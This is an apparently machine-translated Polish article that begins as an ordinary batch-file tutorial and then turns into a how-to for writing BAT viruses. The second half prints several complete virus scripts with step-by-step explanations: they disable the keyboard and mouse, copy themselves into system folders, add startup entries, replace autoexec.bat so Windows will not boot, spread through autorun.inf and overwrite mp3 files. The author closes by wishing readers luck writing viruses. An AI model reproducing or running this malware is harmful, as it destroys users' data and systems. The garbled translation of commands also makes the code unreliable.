Teraz spójrzmy na ten przykład, powiedzmy, że za każdym razem musisz przenieść pliki z katalogu znajdującego się na dysku D na dysk flash. Za każdym razem, gdy będziesz musiał udać się na dysk D mojego komputera, wybrać żądany folder, wybrać z niego wszystkie pliki i wyciąć je, a następnie po prostu przejść do dysku flash i wkleić go. Za pomocą pliku treści można to zrobić jednym kliknięciem ( z jednym warunkiem, że za każdym razem pendrive'em będzie np. dysk G czy cokolwiek tam masz). Oto przykład takiego pliku wsadowego:
Przenieś „D:\catalog\*.doc” G:\catalognaflehe\
Natomiast wszystkie pliki z rozszerzeniem doc znajdujące się w katalogu D:\catalog zostaną przeniesione na pendrive. Teraz chcę powiedzieć, że możesz używać skryptów w plikach wsadowych ( skrypty) za pomocą Hosta skryptów systemu Windows i w razie potrzeby np. wyświetlić komunikat po skopiowaniu plików ( poprzedni przykład) wklej to:
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup("Pliki skopiowane"); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js
Tak naprawdę o pisaniu plików body można mówić dużo i oczywiście nie da się tego zmieścić w jednym artykule; tutaj pokazałem jedynie zasady, jakie obowiązują podczas pisania pliki bataże tak powiem, podstawa. Jeśli chcesz poznać więcej poleceń do pisania plików wsadowych, możesz łatwo je wyświetlić, wpisując ( Start - Uruchom - cmd) polecenie help, ale oczywiście nie ma tam wszystkich poleceń, których można użyć w plikach wsadowych. Powodzenia w pisaniu plików BAT ( koszulki do ciała).
Aby otworzyć wiersz poleceń w żądanej lokalizacji (na przykład w folderze z plikami), musisz zadzwonić menu kontekstowe(RMB) z wciśniętym klawiszem Shift:
Dowiedz się, jak pracować z wierszem poleceń. Przejdźmy do poleceń.
Listę wszystkich poleceń konsoli wraz z opisami można uzyskać wpisując w konsoli pomoc
Pomoc dotyczącą dowolnego polecenia można uzyskać za pomocą klawisza /?.
Na przykład: DIR /?
wyświetli pomoc dla wszystkich opcji poleceń DIR
Usuń pliki tymczasowe przed wyłączeniem komputera
Myślę, że każdy przynajmniej doświadczył ich osobiście. Plik bat pomoże Ci poprawnie zamknąć komputer, usuwając pliki tymczasowe, czyli folder, w którym zwykle pobierany jest wirus. Przy następnym uruchomieniu urządzenia (na wczesnym etapie) wirus wprowadza wpisy do rejestru, zakłócając działanie normalna praca
systemy. A kiedy pulpit się ładuje, sytuacja jest trudniejsza do naprawienia.
Oczywiście nie wszystkie wirusy działają według tego schematu, niemniej jednak wyczyszczenie plików tymczasowych i pamięci podręcznej systemu przed jego zamknięciem znacznie zmniejsza takie ryzyko.start /wait "" "C:\Program Files\CCleaner\CCleaner64.exe" /auto start /wait "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10
CCleaner nie jest domyślnie dostępny w systemie Windows. Należy go zainstalować osobno. Instalator możesz pobrać ze strony internetowej dewelopera.
Program CCleaner uruchamia się jako pierwszy i usuwa wszystkie pliki tymczasowe z komputera. Następnie program wyłączający komputer uruchamia się z 15 sekundowym opóźnieniem, aby uniknąć ewentualnych konfliktów z działaniem CCleanera.
Konieczne jest skopiowanie do niego tego przykładu. Umieść skrót do pliku bat na pulpicie, przypisz mu piękną ikonę i wyłącz komputer za pomocą tego przycisku skrótu.
Uzyskaj listę plików w folderze za pomocą pliku Bat
Okresowo używam plików bat, aby uzyskać listę plików w folderach. Częsta sytuacja: w pracy klienci przesyłają archiwum zdjęć od fotografa. Fotografie są nazywane zgodnie z artykułami produktów.
- Do zdjęć nie są dołączone żadne informacje tekstowe. Należy sporządzić listę na podstawie przesłanych zdjęć i zaimportować ją do katalogu produktów na stronie internetowej. Do każdego produktu wykonano kilka zdjęć. Nazywają się tak:
- Zdjęcie produktu o numerze artykułu A1234 (2).jpg
Zdjęcie produktu z artykułem B1234 (2).jpg
Najpierw otrzymuję listę wszystkich plików w folderze za pomocą następującego polecenia:katalog *.jpg /B /L > lista plików.txt Komenda *.jpg pozwoli podczas kompilowania listy uwzględnić wyłącznie pliki JPG. Przełącznik /B pozwoli Ci uzyskać listę zawierającą tylko nazwy plików znajdujących się w folderze. Przełącznik /L wyświetli wszystkie nazwy w. Polecenie >filelist.txt utworzy plik tekstowy o nazwie filelist i zapisze w nim wynik.
Następnym krokiem jest pozbycie się duplikatów tak, aby dla każdego produktu na liście był tylko jeden wpis:
wpisz filelist.txt | findstr /I /V "(2 )" > temp.txtPolecenie findstr przeszuka poprzednio pobrany plik. Przełącznik /I umożliwia wyszukiwanie rekordów bez uwzględniania wielkości liter, a przełącznik /V rejestruje wiersze, które nie zawierają szukanego dopasowania. Cudzysłowy wskazują ciąg, który ma zostać dopasowany. A ostatnie polecenie > temp.txt zapisze do pliku tymczasowego wszystkie wyniki, które nie zawierają „(2)” w nazwie. W rezultacie otrzymam:
- Zdjęcie produktu o numerze artykułu A1234.jpg
- Zdjęcie produktu z artykułem B1234.jpg
Jeśli musisz wykonać operację odwrotną - wyjście pasuje tylko do pliku temp.txt, to nie znajdziesz tej, której potrzebujesz na liście poleceń (findstr /?). Istnieje tylko odwrotny filtr dopasowania dokładnego - /X .
W tym zadaniu możesz użyć polecenia, aby wyświetlić numery linii /N, w których znajdują się dopasowania (liczby są wyświetlane wraz z linią):
wpisz filelist.txt | findstr /I /N "(2 )" > temp.txtNajważniejsze podczas pracy informacje tekstowe (pliki tekstowe) pamiętaj o jednej kwestii:
Jeśli do operacji tekstowych używasz pliku jako źródła, który nie został utworzony za pomocą wiersza poleceń, musi on mieć kodowanie zrozumiałe dla wiersza poleceń. Na przykład CP1251 (ANSI).
W przeciwnym razie ryzykujesz otrzymaniem czegoś takiego:
Skopiuj drzewo katalogów bez plików
Kiedy zaczynam robić nowe projekty, pojawia się potrzeba uzyskania drzewa katalogów podobnego do starego projektu, z tą różnicą, że nie powinno się w nim znajdować żadnych plików. W przypadku nowego projektu łatwiej jest dodać 3-5 plików do niezbędnych pustych folderów, niż skopiować istniejący projekt, a następnie usunąć z niego to, co niepotrzebne.
Dostawać drzewo katalogów bez plików można to zrobić za pomocą następującego polecenia:
xcopy folder_1 folder_2 /T /EPolecenie xcopy przyjmuje drzewo katalogów w folderze_1 jako podstawę i tworzy jego kopię w folderze_2. Przełącznik /T umożliwia kopiowanie katalogów bez kopiowania znajdujących się w nich plików. Klawisz /E określa, że wszystkie katalogi muszą zostać skopiowane, łącznie z. pusty.
Najlepszym sposobem na uzyskanie drzewa katalogów jest otwarcie wiersza poleceń w folderze nadrzędnym katalogu dawcy i w tym samym folderze utworzenie katalogu, w którym zostanie umieszczone skopiowane drzewo. W tym przypadku w poleceniu wystarczy podać nazwę folderu dawcy i folderu docelowego (jak w powyższym przykładzie).
Witam ponownie, młody koder-shkoder. Jeśli przeczytałeś mój ostatni artykuł zatytułowany „Nauka DOS-u”, to nie będzie tu dla Ciebie nic skomplikowanego. A jeśli tego nie czytałeś, to uważnie przejrzyj komentarze. Zacznijmy więc. Któregoś dnia siedziałam i myślałam: czy nie powinnam złapać wirusa? A skoro nie znałem się na niczym poza QBarsikiem, a DOS był moim drugim... [Bracie], co o tym myślałeś, zboczeńcu? :)~. WTEDY postanowiłem napisać na nim wirusa i okazało się, że nie jest to takie trudne.
Oto ciało mojego pierwszego wirusa
@echo wyłączone
klawiatura rundll32, wyłącz
mysz rundll32, wyłącz
skopiuj %0%windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
etykieta LOHOLAMMER
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo JESTEŚ LAMREM...xe-xe-xe > c:\autoexec.bat
mysz rundll32, włącz
klawiatura rundll32, włącz
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Uwaga,... Twój komputer jest zainfekowany wirusem i nie możesz się go pozbyć, hehehehe"); >> %temp%\mes.js
uruchom %temp%\mes.js
deltree /y %temp%\mes.js
pauza
kl
Wyjaśnię to popularnie i krok po kroku:
1 @echo off - Zabraniamy pokazywaniu w oknie DOS tego, co robi skrypt.
2 rundll32 klawiatura,wyłącz - Wyłącz klawiaturę, jeśli użytkownik zrozumie, co się dzieje i zdecyduje się nacisnąć CTRL+C
3 rundll32 mysz,wyłącz - na wszelki wypadek wyłącz także mysz.
4 skopiuj %0 %windir%/system - Skopiuj do folderu Windows/system
// %0 — Zmienna wskazująca oryginalny plik wirusa
// %windir% - zmienny folder Masday.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini — dodaje tekst „run=%windir%/system/*.bat” do pliku win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini — dodaje tekst „run=%windir%/system/*.bat” do pliku system.ini
7 etykieta LOHOLAMMER - Zmienia nazwę dysku c:\ na "LOHOLAMMER"
8 jeśli istnieje c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Sprawdź, czy istnieje plik c:\autoexec.bat, a następnie usuń go
//ma atrybuty -h -s -a -r
9 deltree /y c:\autoexec.bat - Usuń plik c:\autoexec.bat, jeśli nie usuniesz atrybutów, program nie usunie pliku.
10 echo autoexec.bat echo JESTEŚ LAMMEREM...xe-xe-xe > c:\autoexec.bat - Dodaj tekst „ JESTEŚ LAMMEREM...xe-xe-xe”
//do nowego pliku autoexec.bat
11 rundll32 mysz,włącz - Włącz, niech myśli, że nic się nie stało.
12 rundll32 klawiatura,włącz - Włącz, niech myśli, że nic się nie stało.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Uwaga,... Twój komputer jest zainfekowany wirusem i nie możesz się go pozbyć, hehehehe"); >> %temp%\mes.js
uruchom %temp%\mes.js. //Ten tekst wyświetla okno maski z napisem
deltree /y %temp%\mes.js //Następnie usuwa swoje ślady.
14 attrib c:\autoexec.bat +h +s +a +r - Ukrywa plik c:\autoexec.bat i plik systemowy, dzięki czemu lamer niczego nie podejrzewa.
15 pauza - Proszę nacisnąć dowolny klawisz (nie jest konieczne naciskanie, ponieważ vir już wykonał swoje zadanie.)
16 cls - Wyjdźmy
Ten program przy następnym uruchomieniu komputera nie pozwoli na uruchomienie systemu Windows i napisze „Jesteś lamerem”. .Działa tylko w systemie Windows do wersji 2000.
@echo wyłączone
rundll32 user,setcursorpos //Usuń kursor z ekranu do lewego rogu
rundll32 klawiatura, wyłącz //Poprzednio
rundll32 mysz, wyłącz //Poprzednio
użytkownik rundll32, przycisk wymiany myszy. //Tutaj zmieniamy rozmieszczenie przycisków myszy
echo Aktualizuję parametry systemu, proszę czekać... //pisze wymówkę :)
label mp_k //Zmień nazwę dysku
copy mp_k.exe %windir% //Kopiuje się do folderu Windows
jeśli istnieje c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
jeśli istnieje c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo > c:\autorun.inf //Te operacje znajdują się w poprzednim wirusie.
echo open=c:\autoexec.bat > c:\autorun.inf
echo > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
mysz rundll32, włącz
klawiatura rundll32, włącz
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Ostrzeżenie... Teraz musisz ponownie uruchomić komputer"); >> %temp%\mes.js
uruchom %temp%\mes.js
deltree /y %temp%\mes.js
atrybut c:\autoexec.bat +h +s +a +r
atrybut %windir%\mp_k.exe +h +s +a +r
atrybut c:\autorun.inf +h +s +a +r
atrybut d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Usuń folder tymczasowy
mkdir %windir%\temp //Utwórz folder tymczasowy
kl
A teraz coś nowego.
@echo wyłączone
kl
echo Proszę czekać, aktualizacja systemu...
cty zerowe. //To jest nowe polecenie, wyłącza wyświetlanie tekstu w oknie.
istnieje %WINDIR%\SYSTEM\VMM32\%0 goto:end //Jeśli wirus został już uruchomiony, pozwól mu uruchomić się ponownie.
skopiuj %0%WINDIR%\SYSTEM\VMM32
cd c:\ //Przejdź do innego katalogu
dla %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\Moja muzyka\*.mp3 ..\*.mp3) wykonaj kopię /y %0 %%a // Zastąp wszystkie pliki mp3 w tym folderze swoim tekstem
Płyta CD Moja muzyka
cd Moja_Muzyka
//Zastąp wszystkie pliki mp3 w tym folderze swoim tekstem
płyta MojaMuzyka
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
Muzyka z płyty CD
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
Muzyka z płyty CD
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
płyta Mouzona
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
CD MUZ
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
płyta mp3
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //Zamień wszystko w tym folderze pliki mp3 z własnym tekstem
płyta CD:\
dla %%a w (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\Moja muzyka\*.mp3 ..\*.mp3) wykonaj kopię /y %0 %%a
Płyta CD Moja muzyka
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a //To samo tutaj.
cd Moja_Muzyka
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
płyta MojaMuzyka
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
Muzyka z płyty CD
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
Muzyka z płyty CD
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
płyta Mouzona
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
CD MUZ
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
płyta mp3
dla %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) wykonaj kopię /y %0 %%a
:koniec //Etykieta
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Uruchom w trybie zminimalizowanym
ctty con //Włącz uprawnienia do wyświetlania tekstu w oknie
echo Pożegnaj swoją kolekcję MP3:)) Wirus //Pożegnaj linie
cls //Wyjdź.
ctty nul //Stało się to tak
REM Chey† Ђь@uoњPSQRVW
?
‹tЌ
„Q_ь№ у¦u=
є №є њъ.я?ђ l,ђ ///
skopiuj %0 *.exe ///
copy %0 b.com>nul // Ta technologia została przejęta z innego wirusa.
b.com. // Te bazgroły są przechwytywane przez pracowników w tej chwili pliki i niszczy je.
del b.com. /// To jest tekst ACM skompilowany do exe
rem_^ZY >
echo open=c:\autoexec.bat >> c:\autorun.inf //Jeśli tam jest, zainfekuj go.
jeśli istnieje d:\io.sys //Sprawdzanie dostępności dysku
echo >
echo open=c:\autoexec.bat >> d:\autorun.inf //Jeśli tam jest, zainfekuj go.
jeśli istnieje e:\io.sys //Sprawdzanie dostępności dysku
echo >
echo open=c:\autoexec.bat >> e:\autorun.inf //Jeśli tam jest, zainfekuj go.
:end //Zaznacz początek CM.
cls //Wyjdź
Jakie rodzaje wirusów istnieją? Twórcy wirusów robią wszystko, co w ich mocy, aby osiągnąć pożądany rezultat. Po przeczytaniu tego dokumentu będziesz mógł sam napisać wirusa BAT, nawet lepiej niż mój ;). No cóż, życzę powodzenia w pisaniu wirusa, a ja odstąpię i idę napić się piwa%-).
Artykuły są pisane wyłącznie w celu zbadania algorytmów wirusów i metod ich zwalczania. Algorytmy wirusów zostały zidentyfikowane poprzez dekompilację wirusów znalezionych w Internecie i na stronie internetowej Kaspersky Lab.